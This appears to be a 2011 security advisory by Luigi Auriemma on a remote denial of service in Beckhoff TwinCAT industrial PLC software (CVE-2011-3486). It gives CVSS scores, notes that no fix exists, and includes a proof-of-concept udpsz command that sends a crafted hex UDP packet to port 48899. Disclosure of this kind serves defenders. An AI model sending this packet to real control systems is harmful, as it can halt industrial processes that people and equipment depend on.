Beckhoff TwinCAT Denial of Service

2011.09.20
Credit: Luigi Auriemma
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2011-3486
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

####################################################################### Luigi Auriemma Application: Beckhoff TwinCAT http://www.beckhoff.de/twincat/ Versions: <= 2.11.0.2004 Platforms: Windows Bug: Denial of Service Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's website: "The Beckhoff TwinCAT software system turns almost any compatible PC into a real-time controller with a multi-PLC system, NC axis control, programming environment and operating station." ####################################################################### ====== 2) Bug ====== Denial of Service caused by an invalid read access. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe ####################################################################### ====== 4) Fix ====== No fix. #######################################################################

References:

http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-06.pdf
http://aluigi.altervista.org/adv/twincat_1-adv.txt


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